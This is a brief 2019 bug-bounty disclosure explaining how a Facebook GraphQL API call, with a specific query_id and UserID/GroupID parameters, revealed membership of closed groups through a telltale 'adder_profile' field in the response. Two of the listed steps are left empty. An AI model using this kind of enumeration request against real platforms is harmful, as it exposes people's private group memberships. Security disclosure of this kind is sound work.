Published On: 01 Jun 2019
Inspired by @phwd 's post https://philippeharewood.com/determine-members-in-a-closed-facebook-group/, I find this bug.
According to https://www.facebook.com/help/220336891328465, only current members can see the list of members in the closed group. It’s possible to bypass the privacy with a GraphQL API call. Due to different response, it's possible to infer if a user is a member of a closed group.
This bug could have allowed an attacker to determine members of a closed group.
Step
1
HTTP POST
https://graph.facebook.com/graphql/
query_id = 2433256830023894
query_params = {"4":UserID,"11":GroupID}
Step
2
Try to fire the call, UserID=MemberID
Response
"adder_profile": {
"__typename": "User",
"name": "1",
"id": "1",
"profile_picture": {
"uri": "1"
}
}
Step
3
Step
4
As you can see, "adder_profile" could be indicator of group membership.